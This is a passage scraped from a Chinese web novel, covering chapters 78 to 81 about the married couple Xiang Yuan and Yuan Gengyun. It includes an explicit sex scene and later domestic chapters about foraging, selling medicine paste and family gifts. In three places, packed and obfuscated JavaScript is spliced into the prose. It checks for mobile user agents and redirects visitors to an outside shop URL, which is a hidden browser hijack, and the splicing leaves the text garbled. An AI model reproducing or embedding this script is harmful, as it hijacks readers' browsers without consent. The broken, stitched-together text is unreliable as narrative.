她拿自己举例,“你不知道,那时候阿文跟我讲我大舅盘算着要把我嫁给你大哥,我听了又害怕又生气,我想,他一个糟老头子怎么这么会想好事呢……你不让我好过,我也不让你好过,我嫁不过去便罢,我要是嫁过去,你就等着吧,不把你们家搅得天翻地覆我就不姓向。” 原耕耘面色沉沉,“你嫁不过去,你就是嫁过去了,我也想法子把你抢走。” 向园摆摆手,“我那时候又不知道嘛!我那会儿还想着逃跑呢,肯定不会坐以待毙的。我就是心里想想,你知道吧,就跟白日做梦一样,我想着我要是逃不了,我就熬死你大哥,等你大哥没了,我霸占他的家产,招赘八个又年轻又英俊又厉害的后生,住他的房子,花他的钱,还不给他上坟。” 原耕耘眼神变得危险,“你招赘八个后生干什么?年轻英俊就算了,还要厉害?” 向园一无所知,还在坦白当初一瞬间暴出的各种阴暗想法,“年轻英俊当然是为了让他们排队去你大哥坟上示威啊,这样才能刺激他嘛!我不去,我要在家里享福! “而且,我都有八个人了,我什么都不用做,就让他们给我干活,这个喂鸡,那个扫地,剩下几个都出去挣钱,那当然要厉害一点,才能赚到钱嘛。 “不过我没见过年轻又好看的厨子,也没见过会绣花的男的,不然还可以找个专门做饭的,再找个专门做衣裳的…… “但我后来仔细想想,还是算了。他们厉害了,肯定就要欺负我,说不定还会打我骂我,让我给他们挣钱,我还是自己过比较好,虽然累一点,但是也安全。 “主要是你大哥太讨厌了,我一点也不想瞧见他,给他戴绿帽子就得先嫁他,我想想,觉得带十八个俊俏的男人到他坟上示威也弥补不了嫁给他带来的痛苦,我就不想了,赶紧布置布置,跑回来了。 “幸亏我跑得快,遇上你跟娘,不然我可能真要死了。” 向园现在想想,还有点委屈,眼巴巴看着原耕耘,求安慰。 原耕耘:“……” 还不如跑慢点呢,你跑慢一点,说不定就不用跑了,我直接领你回家。 “哼!你可真敢想,招赘八个相公,带十八个俊俏男人,亏你想得出来,还知道不跑回来要死!”原耕耘咬着她的耳朵,用了点劲儿。 “我就想想嘛,我知道不能实现的,要是真能实现的话,我就不想着要八个相公了。”向园推开他。 “真能实现的话,你想要什么?”原耕耘又凑上去咬,向园惹到他了,他不可会就这么算了。 “真能实现的话,我就许愿有个神仙好了,希望他施个法就能把我大舅和你大哥他们变成好人,希望我爹娘不要去世,这样你爹去世的时候,我就叫上我爹娘一起,去你家把你偷出来,给我们家当女婿,把娘也偷出来,让她过好日子。” “错了!向园,要是能实现,你得把愿望许到自己身上,让自己长本事,厉害到没人能欺负你,没人敢欺负你!” 原耕耘的大掌钻到轻盈的蓝绉纱衫里,掌心贴着绵软的肌肤摩挲揉弄,“想让我做夫婿不用许愿,你等着就是,我总会去找你的。” “嗯嗯。”向园点头,捂住他顺着曲线往上攀爬的手,“耕耘哥哥,我们先不要乱来,我还没说完呢。” 原耕耘揉搓一番,才巴在那儿暂时止住动作,“你继续说。” 向园直接把他手掏出来,按在枕头上,又趴到他耳朵边嘀咕,“所以,我想娘是不是心里别拗,才想着要改嫁的。 “娘是儒门之女,从小熟读圣贤之书,她性子又宽厚和软,年轻时候未必会像我这样左性,但要说心里没一点气,你信吗?” 原耕耘不信。 他懂事早,即便他娘没有很明显地表现出对他爹的厌恶,但要说喜欢,那绝对没有,不过就像向园说的,死守儒门规矩罢了。 因为是长辈之命,媒妁之言,她反抗不了也没想过反抗,接受了、顺从了也就那样过着,不是过不下去,只是过得不快活。 向园又道:“假如,我是说假如啊,你爹年轻个几十岁,也不要太多,就二十几岁吧。假如他只比娘大二十几岁,娘嫁给他是不是还有些盼头?至少不用担心哪一天丈夫突然去了,自己没个着落吧。 “可他大娘那么多,还非要娶娘过门,娘那时候也就跟我差不多年纪吧,我外婆去了,至少还能盼着表哥回来做主,还能回自己家,甚至还可以去十里滩找我舅姥爷。可娘不一样,她们婆孙两个,老的老,小的小,再没别的依仗,除了答应还能怎么办? “你爹只顾着自己高兴,他一朝走了就走了,都不想想你们孤儿寡母的要怎么过活。但凡他年轻个二三十岁,娘嫁给他的时候有盼头,就算他一朝去了,依娘从小受的教导,只怕也会心甘情愿为他守节。 “可他这样的,说他有心吧,他一撒手啥也不管,说他无心吧,当初还非要把人弄到手,你就说娘跟这样的人过,能不觉得委屈? “我想,她心里一定苦了很多年,也一定不想再跟你爹有牵扯。可她不改嫁,谁提起她要么喊原婶子,要么喊樊姨奶奶,喊樊婶子的人都是少数,她心里肯定不好受。” 小时候的事向园记不清,但读过的书她都记着。 儒家讲究贞操,以女子为丈夫守贞比男子为君主尽忠,这两者或有相似之处,但以男子忠君规束女子守节,未免过于奸猾。 男子为君主尽忠,本质是为了荣华富贵、锦绣前程,再往大了说,是为了青史留名、家国天下,不论从哪个角度说,对他们都是绝对的好处,所以他们主动争取。 可女子为丈夫守贞,为的是什么呢? 富贵之家,有产业出息可供衣食,有仆从丫鬟可供驱使,自然寡妇愿意守贞,因为不用担忧自己的生活。 平民百姓之家,或是为了守护儿女长大成人,或许是被婆家逼迫,要么不得不守贞,要么不得不改嫁。 向园在槐树井待过这几年,也忖出一个规律,守不守,全看婆家和寡妇谁势力大,谁声气高。 大多时候是婆家势大,这时候要媳妇儿守的,要么就是媳妇儿身体好,人能干,全家老小都指望她伺候。要么就是死了的那个儿子金贵,要媳妇儿守着,百年之后葬到一起,到阴间再做夫妻。要么就是有孙儿孙女儿,为着自家的孩子,也得把这女子留下,照顾他们长大成人。 不要媳妇儿守的,也好分辨,要么是独门独户的夫妻俩,丈夫去了,亲戚为了霸产,便是妇人要守,亲戚们也容不得她守。要么就是媳妇儿身弱,在婆家干得不如吃得多,自然就不受待见,必要甩掉这个累赘。 樊云英守寡的时候,一定程度上属于富贵之家的那个。可偏偏原老爹没给他们留一点后路,单就给个分家文书,让八.九岁的小儿子跟四五十的大儿子争产,这不是闹笑话嘛。 原大又有意苛待,所以樊云英和原耕耘在原家的日子并不好过,可再不好过,他们也熬出来了。 向园能感觉到头一回见樊云英,她说分家出来时的语气有多轻快,就跟彻底脱了樊笼的鸟儿一样。所以后来知道她改嫁,向园也只是惊讶一瞬,很快就改了口。 如果樊云英不改嫁,可能一辈子都要担着原家妇的名声活在世上。 丈夫在世,她是原老员外的内眷,妻不妻,妾不妾的,没个正经名头。丈夫死了,她是原耕耘的母亲,死后埋到哪里都脱不得原门樊氏这个名头。 向园说的这些原耕耘也明白,他爹的确耽误了他娘,也辜负了他娘。 他清楚地看到他娘的纠结,忧虑与愧疚,让一个循规蹈矩的女子做出与从小接受的观念相悖的选择,本身就是一种残忍。 原耕耘知晓樊云英为此走过的心路历程,所以他并不是特别反对樊云英改嫁,甚至樊云英选中谷敬时,他还为她高兴。 一来谷敬家境优渥,人口简单,的确是个不错的选择。二来谷敬心思纯善,又不迂腐,对樊云英也很是上心。 事实也确实如此,樊云英嫁过去除了操心衣食外,既不用发愁种田种地,也不用处理繁琐的亲戚关系,谷敬对她也格外体贴。 可她真对谷敬上心了,原耕耘这个做儿子的心里又不是滋味儿。 “你跟娘都是笨蛋,有福都不知道享, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他让抬胳膊就抬胳膊,让抬腿就抬腿,但原耕耘今天比较过分,跌宕起伏到一半,他突然停下动作。 向园正到关紧时刻,叫他上不上下不下的卡在那儿,还没反应过来,迷迷糊糊勾住他脖子问:“耕耘哥哥,怎么了?” 原耕耘不吭声,感觉到她的难耐,顺势抱着人弹了起来。 这突如其来的动作差点让向园尖叫出声。 原耕耘及时捂住她嘴,在她耳边低语,“舒坦了?” 向园弓着背,红唇微张,眼泪不受控制的溢出。 好死不死的,原耕耘怎么在这个时候抱她起来。 起来就起来,也不说一声,就这么猛地弹起来。 这种时候,叫她怎么遭得住,不行,她要死了。 向园身体绷了一会儿,好一会儿才过了那个劲儿,彻底软成一滩水,栽在原耕耘身上,再也直不起来。 原耕耘把没骨头似的人往上拢了拢,凑到向园耳朵边低语,声音暗哑深沉:“这才哪到哪,你就受不了了,还敢想招赘八个相公?” 实际他也不好受,俩人一直抱成一团,又是欲拒还迎,又是你追我赶,又是重整旗鼓的,连靡乱的战场都未曾彻底清扫,有些东西还彼此牵连着,她的感受他怎么会感受不到。 但是男人要□□,他得让向园知道,八个男人没那么好,就是好,他一个也绝对不输八个男人,别说八个,就是十八个,也可一战! 向园没回,她根本没听清原耕耘唧哝什么,听清也不要回,她要先死为敬。 死了又活,活了又死,生死之间的挣扎徘徊,可真折磨人呀! 原耕耘等不来她的回答,越发用力,情到浓处,带着向园翻了个面。 两人叠罗汉似的,摞成一团,向园觉得自己再不反抗,可能真要被他弄死,她凭借最后一点清明,认真发力,要将敌人打败。 原耕耘闷吭一声,从心底发出一声喟叹,“向园,你可真行!” “不仅很行,还很会啊。”他半弓着上身,盯着向园,眼神连绵不断,像钉子一般,一下一下楔进去,一下比一下楔得深。 向园挣扎着把脸埋进枕头里,这种时候,原耕耘盯着她,她会死得更快。 原耕耘轻笑出生,一手缠着向园的胳膊,一手掰正向园的脸,腿也撑着她的,“宝贝儿,是不是羞了?刚刚做得很好,不过,你戏弄我,我可不会停了,什么时候咱俩能歇,全看你的本事。” 向园眼皮跳了跳,眼前水波明灭,脑子里烟花阵阵,半空中,迸溅的水花和火星相触,达成奇异的交融,火点燃了水,水奔涌向火。 “嗯……”她朱唇轻启,轻吟溢出喉舌,气息如兰似麝。 原耕耘看着她,眼神深窅窅的。 明明周边一片昏暗,可他就是知道,知道她娇丽的面庞此刻露出怎样的酡红,知道她嫣然的樱唇如何溢出呻.吟,知道她鬓边滚圆的汗珠会顺着发迹滚下,和欢愉的泪交汇,一同没入耳畔。 知道她细软的胳膊如何裹着雪白丰盈的云团不肯给他瞧,只有受不住时才会放开手让它们跳出来……知道她纤长的腿如何缠绵缱绻,在他腰间盘桓不去,累了才会放开……还有她的腰,她的臀,她的脊背,她的脚趾…… “向园!向园!”原耕耘心怦怦跳着,低下头去,用唇碾磨她的唇,任凭她咬她推,死不松口。 向园浑身酸软,什么都顾不得了,可怜巴巴地求饶,“耕耘哥哥,好了吧?” “乖,很快就好!”原耕耘已不记仇,但是风起楼阁,不是说止就能止住的…… “呜~”一声泣音,两人一起跌入枕席间,跌入泛着馨香的蓝色潮热海水里,跌入月眠花的美妙梦境…… 79. 第 79 章 夜雨终于停下,一连两日晴天,路面都干崩崩的。 二十六这日,原耕耘把这半个月攒的文武膏装车,要送去医馆。 这些日子他都在家,再有周家兄弟时不时来帮忙,熬得比上回还多,有三四百罐,其中大半都是两斤装的。 柴棚底下积的一屋柴火,也基本告罄,原耕耘又从山中小院背了几捆下来,还有之前打菜籽儿剩下的秸秆,掺着差不多还够烧十天半个月的。 树上还零星剩下一些桑葚,向园估摸着再有两三天就能摘完,也要熬成膏。但是那些就不卖了,留着自家吃,兼送亲朋好友。若是村里有人来看病,说不得也能用上。 天到时候了,一大早上,空气就不见一点凉意,树上的鸟唧唧喳喳,叫得人心慌。 樊云英和向园送走原耕耘,忙完杂活,在家里待着闷得慌,干脆锁了门,去山溪边洗衣裳。 向园把小鹿牵上,一二三也跟着。 水塘就在山溪下游一点,鸭鹅在里头,鸡圈也在附近,她们在上头就能瞧见,不用单独留狗看着。 越是天热,越衬得出山野之处的清凉。 这附近树多草多,蛇虫蚊蝇也多。 向园前头在村里各家寻了一大包凤仙花籽儿,两个庭院里种了许多还没种完,剩下的那些,她沿路撒上了,一直到竹窝窝跟竹坡坡的交界处。 现在花都长得有小腿深,开的红红白白,一路芬芳。人穿行而过,倒真的不受蚊虫侵扰了。 “这东西看着不起眼,还挺有用。” “可不是,虽说胳膊袖子有衣衫裹着,轻易咬不着,可听着它们嗡嗡,也觉得烦啊,这下多少清静些。” 婆媳俩擓着篮子,一路走一路说话。 三花追着二黄跑在前头互咬尾巴撒欢,大黑高冷,不爱跟它们玩,昂头跟在两人身后,紧盯着小鹿,生怕这野物不服管教,再踢人一脚。 夏天衣裳好洗,婆媳两个很快揉搓好,坐在溪边乘凉。 向园想着给一二三好好洗个澡,特地多带了一些泡泡果,还带了一把棕刷。 棕刷是先前在集市上买的,是用偏硬的棕丝纤维编的,像个小扫帚头,一般是给马皮骡子刷毛用的。 他们家没马,但向园特别喜欢,想着给一二三刷毛应该也很好用,就买了两把。小一些的给一二三刷毛用,还给小鹿洗了一次,大一些的放屋里,清理桌面台面特别好使。 刷毛不硬不软,比手揉搓着好着力,还洗得舒服。 不费多大工夫,一二三就洗好了,三个大狗并排摊在溪边的大石板上晾毛。 溪边凉快,樊云英和向园也不急着回去,两人坐在树荫底下闲聊。 正说着话,向园一错眼,就瞧见对岸林下油油一片新绿,看着很是眼熟。 “娘,你坐着,我去对岸瞧瞧。”她跟樊云英说了一声,麻利跳起来涉水往对岸去。 樊云英笑着摇摇头,也站起来跟上她。 到地方她才看出来,让向园这样急切的东西是什么。 “这是山蒌?也是药?” “嗯嗯,可以入药,既能温中散寒、行气止痛,还能活络消肿,治疗铁打损伤,对腹胀腹泻也有效用呢。” “这么大用处啊!” 樊云英很稀奇,也就是跟向园生活在一起,她才知道田间路旁不起眼的杂草都能入药。 向园点头,不过让她惊喜的不只是能入药。 “娘,不光能入药,这个做菜吃可香了。耕耘哥哥今天要买鲜肉回来,我们摘一些回去,包了馅儿煎着吃也好,煮汤吃也好,还能炒田螺和沙蚬。” 她揪了一片叶子,揉巴揉巴递给樊云英。 “确实怪香的,跟紫苏有些像,有点辣啊!”樊云英放在鼻尖闻了闻,这个味道很特别,她也开始期待起来。 两人不再多说,麻溜开始摘叶子。 出来的时候带了两个篮子,现在把衣服腾到一个篮子里,另一个篮子装山蒌叶子。 这周边一片地长得都是这个,很茂盛,一棵就能摘下十来片嫩叶,摘几棵就是一沓,两人没多大会儿就摘了大半篮子。 向园看看这些就吃不完,招呼樊云英回家去。 这会儿日头升上来了,樊云英看看天色,点点头,“回吧,耕耘也该回来了。” 涉水过溪,樊云英顺便将叶子淘一遍,这样回家再冲一遍水就行。 她淘山蒌叶的时候,向园看见水里有不少沙蚬,也起意摸了两把,回家掺山蒌叶炒着吃正好。 樊云英也好久没吃过,她淘好叶子,过来帮向园。 山溪水底是碎石和细沙,抓一捧,就能从中挑出几个黄油油、浑圆饱满的沙蚬,有大有小,向园都不嫌弃,统统包进大叶子里。 也是出来的时候没想到这一茬,不然她们带上个小竹簸箕,还能捡得更快。 两人估摸着够一碗菜了,才停手,找几片大叶子包好放在篮子里,牵着鹿招呼一二三回家去。 走到桑林,向园把鹿拴到桑树上,回家收拾蚬子。 这溪水清澈见底,里头的蚬子也干净,表面没有什么污泥,在河边就刷过一边了,下锅前再稍微清理一下即可。现在离晌午还有一个时辰工夫,倒也不用着急。 樊云英去后头晾衣裳,向园提着篮子跟着。 水井边就有淘菜盆,向园把包蚬子的叶子捧出来,倒进瓦盆里,添上新打的井水,随手把之前削蒜用的铁镰刀洗干净丢进去。 有铁器激着,水醒的同时沙蚬能更快吐出腹中泥沙,不耽误晌午做饭用。 忙完了,向园提着篮子还要出去一趟,“娘,你歇一会儿,我去水塘边上看看蒲菜还有嫩的不,有嫩的折几根咱们晌午吃。” 山蒌味道浓郁独特,向园已经想好要怎么做了。蒲菜清香甘甜如嫩笋,打个汤或者清炒,正好能解了山蒌叶的霸道。 他们之前就吃过几次,那味道,向园现在想起还要流口水。 香蒲快抽穗了,等抽穗就不能吃了,趁这个时候能多吃一回就是赚了。 一家人都会吃爱吃,向园做饭花样多,不管做什么他们都捧场,樊云英也喜欢吃蒲菜。 她摆摆手,“去吧,去吧,带上草帽,喝了茶再去。” 茶是做朝食的时候就烧上的。 天气热了,人渴得快,一天下来,三个人谁不灌几碗茶水这一天嘴巴都要干。现喝现烧还得放凉,向园干脆就早上做饭的时候烧上两壶,前后院各放一壶晾着,现喝现倒,清凉解渴。 今天煮的是桑叶茶。 向园以前只知道桑叶除了入药可用,还能做茶饮,但从来没试过。 今年是她第一次尝试制茶,心里也没数。她看了几遍书,自己又瞎琢磨琢磨,倒也做成了。 不知道比起正宗的桑叶茶怎样,但煮出来的茶汤澄澈明亮,甘甜清爽,向园自己挺满意,樊云英和原耕耘喝着也觉得好,她决定明年再多做一点。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805247|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两人忙活了一早上,樊云英不提,向园还不觉得渴,她一提醒,她就觉得渴得厉害。 “好,娘,你也记得喝。”向园回了一声,嘭嘭嘭跑到堂屋灌了两碗,拎着草帽就要出门。 这时,原耕耘回来了。 “这么慌要去哪?” 骡车已经还过,原耕耘背着背篓,脸晒得通红。 “耕耘哥哥,草帽呢,你怎么不戴着?” 他回来了,向园就不急着出门,先给他倒了一碗水。 原耕耘接过,咕嘟咕嘟喝干净,还要再来一碗。 “在这呢。”他转个身,让向园看他的背篓。 向园一边递了水过去,一边踮着脚,勾头瞅。 原耕耘半蹲下身,给她瞧个清楚。 “在路边的草丛里发现的一窝鸟蛋,筐子里东西多,怕压碎了,放进草帽里了。” 原耕耘是在从村里过来的路上捡的,也就不戴草帽走了这一段。但他不耐晒,本来夏天一来他就晒黑两个度了,现在晒这一路,脸色更是黑红黑红的,看着跟在太阳底下走了一晌似的。 向园让他卸下背篓,小心翼翼把草帽捧出来,才发现他不止掏了鸟蛋,鸟窝都给人端了。 都有鸟窝了,还往草帽里放? 向园奇怪地看了原耕耘一眼,“这是什么鸟的蛋,怎么是这个颜色?还怪好看的。” 不得不说,这鸟窝也怪别致的。 向园仔细打量两眼,发现这鸟窝像是用草藤编的,细密紧致还一点不脏。里头的鸟蛋像是叫水洗过一般,清透干净。五颗淡蓝色的,像宝石。八颗瓷青色的,像玉石。 “这真是你捡的?”向园不由怀疑。 她走路也常看路边,咋就遇不上这好事呢? 原耕耘认真点头,“送你的,可以放到后头石台上,小鸟木架底下,当个小摆设。” 鸟蛋当然是捡的,他在路边来回转悠几趟,不巧就遇见了。鸟窝也可以说是捡的,捡来的细草藤编的,四舍五入也是捡的。 向园高兴起来,来回摸摸几个鸟蛋,爱不释手。 原耕耘双眼含笑,“不生气啦?刚刚那么慌,要做什么去?” 向园刚想抱着鸟窝去后头,抬头看见他戏谑的眼神,猛然想起,自己早上还跟他怄气来着。 这么重要的事儿怎么就能忘了呢,她僵了一瞬,鸟蛋端着也不是,放下也不是,眼珠子滴溜溜转了两圈。 现在再翻脸,那岂不是衬得她反复无常,还很小气? 还有耕耘哥哥的钱袋,鼓囊囊的,要是再假装生气,那一会儿他递钱袋给她,她是收好呢?还是不收…… 不收当然不好! 向园眨眨眼,“耕耘哥哥,我什么时候生气了?你这么好,我怎么可能生你的气呢?我要去摘蒲菜,你要不要一起?” 她变脸这样快,原耕耘猝不及防,一时分不清她是真不记仇,还是忘性大。 他不回答,向园也不在意。 她是说忘就忘的性子,这会儿已经翻看背篓里有什么了。 “耕耘哥哥,你买肉和大骨头了吧?我和娘洗衣裳,在溪对岸摘了好些山蒌叶,晌午给你做蒌叶酿肉吃。我们还摸了沙蚬,放在后头盆儿里吐沙子呢,晌午咱们炒着吃。” 原耕耘:“……” 看来是真不记仇,忘性也是真的大,晨起还气得咬人来着,牙齿又尖又利,这才多大会儿工夫,就忘得一干二净,嘴巴又抹上蜜了。 80. 第 80 章 “一起去!”原耕耘拎起草帽,正准备拉着向园往外走,起身的时候才想起肩上的钱袋。 他取下来,递给向园,“两百罐两斤装的,一百六十罐一斤装的,拢共结了二十八两银子。白大夫知道这是最后一批,还说明年可以多做点,再多一倍,医馆也吃得下。” 二十八两银子,沉甸甸的,向园捧着,脸上乐开花,心里也美滋滋的。 “做!这几天我就看看,剪些绿枝扦插到水塘边,围着种一圈,估计也能多种个一两百株。就是头两年收成可能不会好,明年再看,不行咱们也收桑葚。” 向园觉得这可太划得来了,毕竟以前她可是想着靠卖鸡鸭鹅蛋攒钱发家致富的人啊,现在有这样一项生计,想想都叫人高兴。 “嗯。”她高兴,原耕耘也跟着高兴,“东边芋头和雪里蕻连着那五亩多地也是咱家的,那边也能扦插。” 那块地是原耕耘他爹和宅地一起买下的,本来是想建个大宅子,把那块辟成一个花园或者池塘,后来不知道为什么不了了之了。 原耕耘搬过来后,试过在那里开荒。 但那块是沙土地,存不住水,土太干,种麦子和棉花产量都不好,原耕耘种了一年,实在划不来,干脆就丢下,只撒些便宜的蔬菜种,能出就出,不能出也不关紧。 这样的土,种桑树应该能行。 “好!”向园斗志满满,揣着银子走的时候,想起一件事。 她拉着原耕耘回屋,放低了声音跟他商量,“娘这段时间帮着忙前忙后的,我们给娘包个红包吧!” 她神秘兮兮的,原耕耘还以为要说什么了不得的大秘密,结果就是说这个? 他觉得没必要,“不用,她不缺钱,我们每回过去瞧她,多给她备点东西就行。” “真不用吗?”向园迟疑,“我打算给娘封个八两银子的大红包的,她收到一定高兴。” “怎么又是八?”原耕耘十分警惕。 不是八个,就是十八个,这会儿又来个八两,向园怎么就跟八过不去了? “八多吉利啊,我要是能收到八两银子的封红,我保准高兴地三天三夜睡不着觉,做梦都能笑醒。” “你都睡不着觉了还做什么梦?”原耕耘戳戳她的额头,“给你买了盒胭脂,可以画花钿用。” “哇!”向园只是看册子的时候提过一嘴花钿好看,没想到原耕耘还记得。 她接过盒子,打开看了看,“耕耘哥哥,你真好!” 这个和表哥买的一样好看啊,她又不舍得用了,怎么办? “跟那一盒颜色不一样,你配着用,用完了还买新的,我今天看他们店里还有别的颜色,盒子都不一样,都很好看。”原耕耘道。 “真的啊?”向园有动力用胭脂了,她要赶快用光,去看看买别的盒子,别的颜色。 “真的!你看这两个盒子是不是就不一样,他们有十来种样子,就跟你串的月月有钱花一样,他们这个也是十二月花,下回你亲眼去瞧瞧就知道了。” 原耕耘给她带上草帽,拉着她出门,朝后头喊了声,“娘,我回来了,我跟向园去摘蒲菜了。” 樊云英正在后头坐着绣花,闻言道:“知道了,赶紧去吧,越往后日头越大!” 向园和原耕耘绕水塘转了一圈,香蒲大多都开始抽薹,勉强抽出十几根嫩芽。 “看来这是今年最后一餐了,再想吃要等明年了。”向园惋惜道。 原耕耘不忍看她失望,问,“要不要吃藕带?这时候正出,也好吃。” 藕带的清爽鲜嫩不输蒲菜,都很鲜美,但是是不一样的味道。 “好啊,耕耘哥哥,你多摘一点,我们再泡一罐子,可以吃好久。” 原耕耘就挽起裤腿,褪了鞋子,顺着缓坡往水塘里走。 他下水的时候,桑林里看鹿的一二三也跟过来凑热闹。 “回来!”眼看它们也有跟着下水的架势,向园赶忙喝道。 然而还是晚了,连着三声扑通,三只狗排队跳进去了。 原耕耘还以为向园是喊他,回头问,“怎么了?” 一二三也齐齐扭过头来,等着听向园号令。 向园掐着腰叹了口气,“早上才给它们洗过澡,这下白洗了。” 水塘里的水不脏,但是肯定不比山溪里那样清澈见底,而且水面有许多浮萍,一会儿它们上来,背上肯定要沾许多绿色的小圆片儿。 “不要紧,一会儿我带他们去上头再洗一次。” 原耕耘挖完藕带也要洗一下,顺便就给一二三洗了。 “好吧。” 不好也没办法,都跳下去了。 向园揪一片荷叶,在附近找了个大石块,坐下把蒲菜择了掐成段。 他们提了个大竹篮出来,蒲菜没多少,但横着放就占地方,趁这会儿择干净,用荷叶包着,既不占地方,回去也不用再收拾了。 原耕耘也揪了一片大荷叶,荷叶浮在水面上,他弯腰抽藕带,抽出来就丢在荷叶上。 荷叶浮力很大,装很多也不会往下沉。 他摘够一大捧,用荷叶包着,递给向园,再回去继续摘。 大半个时辰功夫,篮子就满了,原耕耘上岸,对向园道:“都是从淤泥里抽出来的,不好清洗,你先带着一二三去山溪那边,我回去拿了盆和泡泡果也过去。” 藕带白生生的,只有梢头带着嫩黄色的尖尖,向园没觉得不好洗。不 过原耕耘这样说了,她就还是点点头,领着一二三往那边走,又交代原耕耘:“你不用着急,在家洗了换了衣裳再过来!” 原耕耘应一声,拿了裹着蒲菜的荷叶,三两步跑回去拿盆、拿衣裳、拿泡泡果。 他一个人回来,樊云英还奇怪,“园园呢,没跟你一起回来?” 原耕耘:“她去溪边洗藕尖了,我也要过去,娘,你歇着,晚点我们回来再做饭。” 他说完,也不等樊云英回应,转头就往外走。 樊云英摇摇头,觉得他大了大了,做什么事反而神神叨叨的。猜着可能是小两口又在搞什么小秘密,她也不管,把蒲菜泡到水里,回屋继续做针线。 蒲家塘远离村落,很少有人往这边来,加之山溪边竹树参差,翠绿藤蔓构成天然屏障,很是隐蔽。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817904|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原耕耘以前常在那儿洗澡,从没觉得不自在。 向园刚回来那会儿,怕叫她撞见,他才改了这个习惯。 再往后,两人成了亲,大多时候都是一起洗,不一起洗他也想不起来要到溪边洗,算来快有两个月没在这儿洗过澡了。 明明做惯的事,今天原耕耘却有淡淡的心虚。樊云英一问,他更加赧然,好在晒黑了不太能看得出来,他疾步走到河边时,气息就有些不稳。 向园以为他是热的,“耕耘哥哥,你怎么不在家洗洗再来,快过来洗洗手脸,水可凉了!” 放藕带的篮子向园浸到侧边一个偏深的石头水洼里了,放在稍微有点坡度的地方,只靠自然水流就能把菜冲刷干净。 向园在篮子两侧各压了个长石板,既不会压坏藕带,也不会让藕带散开漂出来。 瞧见向园,原耕耘脸就不热了,走过去蹲她旁边,放下盆子,撩水洗了把脸。 待把脏污洗干净,他转过脸,看着向园道:“我洗澡,你帮我洗衣服?” 向园早看见盆里的衣裳,没想到他真要在这儿洗澡,有些替他担忧,“就在这儿洗啊?你羞不羞?” 这话换个人说听来就像是嘲讽,可叫向园说来,就只能听出浓重的疑问与担心。 她在真诚地发问,问他大白天在外头洗澡会不会害羞,甚至话语里还有点作为他的娘子替他羞的意思。 原耕耘挑了挑眉,“这里又没别人。” 向园刚想说“我不是人啊”,就听原耕耘补充完后半句,“只要你不看我,我就不羞!” 很符合他一贯不知羞的作风,向园反而不惊讶了,她转了个方向,朝后摆摆手:“洗吧,洗吧,顺便替一二三也洗一下,我肯定不看。” 给它们仨洗澡还是有点累的,向园今天给它们洗过一遍了,现在想偷个懒。 “不给我洗衣裳?”原耕耘直起身,也不走远,站在向园旁边开始解腰带。 向园:“你说不让我看你的。” 原耕耘可不是那个意思,但他不解释,“难道你不背过身去,就忍不住要偷看我洗澡?” 向园倒吸一口凉气,绝不承认他的污蔑,“谁说的,你有什么好看的,我可不会看你!我这不是怕转过来你会羞吗?你不怕的话,我可要转过来了啊!” 这话正中原耕耘下怀,他歪头露出一个不怀好意的笑,“生孩子的事都做了,谁还怕你看?再说,你洗你的衣裳,我洗我的澡,又碍不着什么?” 他就不相信,都转过来了,向园能忍住不看。 当初在山上,他只是让她闭眼睛,她就怀疑他解手,还伸开指头缝偷看的。 她一会儿要是不偷看,他就见天当着她面洗澡,洗到她看见为止。 原耕耘暗暗琢磨,瞧见向园想扭头了,他按住她发顶,欲擒故纵,“你既然不想看,等我进水了再转过来吧!” 向园:“……” 原耕耘真是的,这要大方不大方,要小气又不小气的,给不给看倒是明说啊,她刚刚差一点就看见了! 原耕耘瞧见她蠢蠢欲动的脑袋瓜,翘着嘴角施施然下了水。 81. 第 81 章 向园最终还是决定给樊云英包个红包,还是她说的意思,钱多钱少,有红包收就值得高兴。 不过她折中了一下,没包八两,包了二两。 这是原耕耘建议的数字。 他现在对八字敏感过头,向园提都不能提,一提他就要吃飞醋,就要下劲儿折腾她。 向园后悔不迭,真不该一不留神就跟他漏了心里话。 那明明就是脑子里一闪而过的念头,多正常!谁受欺负的时候没偷偷幻想过终有一朝扬眉吐气、打得对方满地找牙的情景,她自个儿都没当回事,原耕耘倒上心了。 说到底还是她理亏,不好跟他计较,以后可得长记性! 二两银子用个小钱袋装着,是向园亲手做的。 她针线活不如樊云英好,但是她给原耕耘做的虎头袋和抽绳束口圆筒袋,樊云英瞧见都夸好。 婆媳俩一起做针线的时候,向园假意让樊云英帮自己挑几块漂亮的料子,实则是是拿来给她做钱袋的。 樊云英挑好后,向园从中选了一块褐地印宝相花纹绫,这料子是樊云英夸过纹样别致的,向园做得用心,活计做出来也精细,她觉得樊云英一定会喜欢。 樊云英果然爱不释手,“园园给我做的?真漂亮!” 向园笑眯眯点头,“娘喜欢就好。牡丹花开富贵,莲瓣清雅圣洁,菊花延年益寿,石榴花正应了端午节气,还有卷草纹,缠枝绕花,福寿绵绵。娘,我觉得这料子配您正合适。” 她词儿一套一套的,不知道的,还以为那层层叠叠的花纹是她一针一线亲手绣上去的。 樊云英听着,乐得合不拢嘴,“好好好,多谢园园。”她急慌慌摸向自己的荷包,要掏钱给向园买零嘴儿吃。 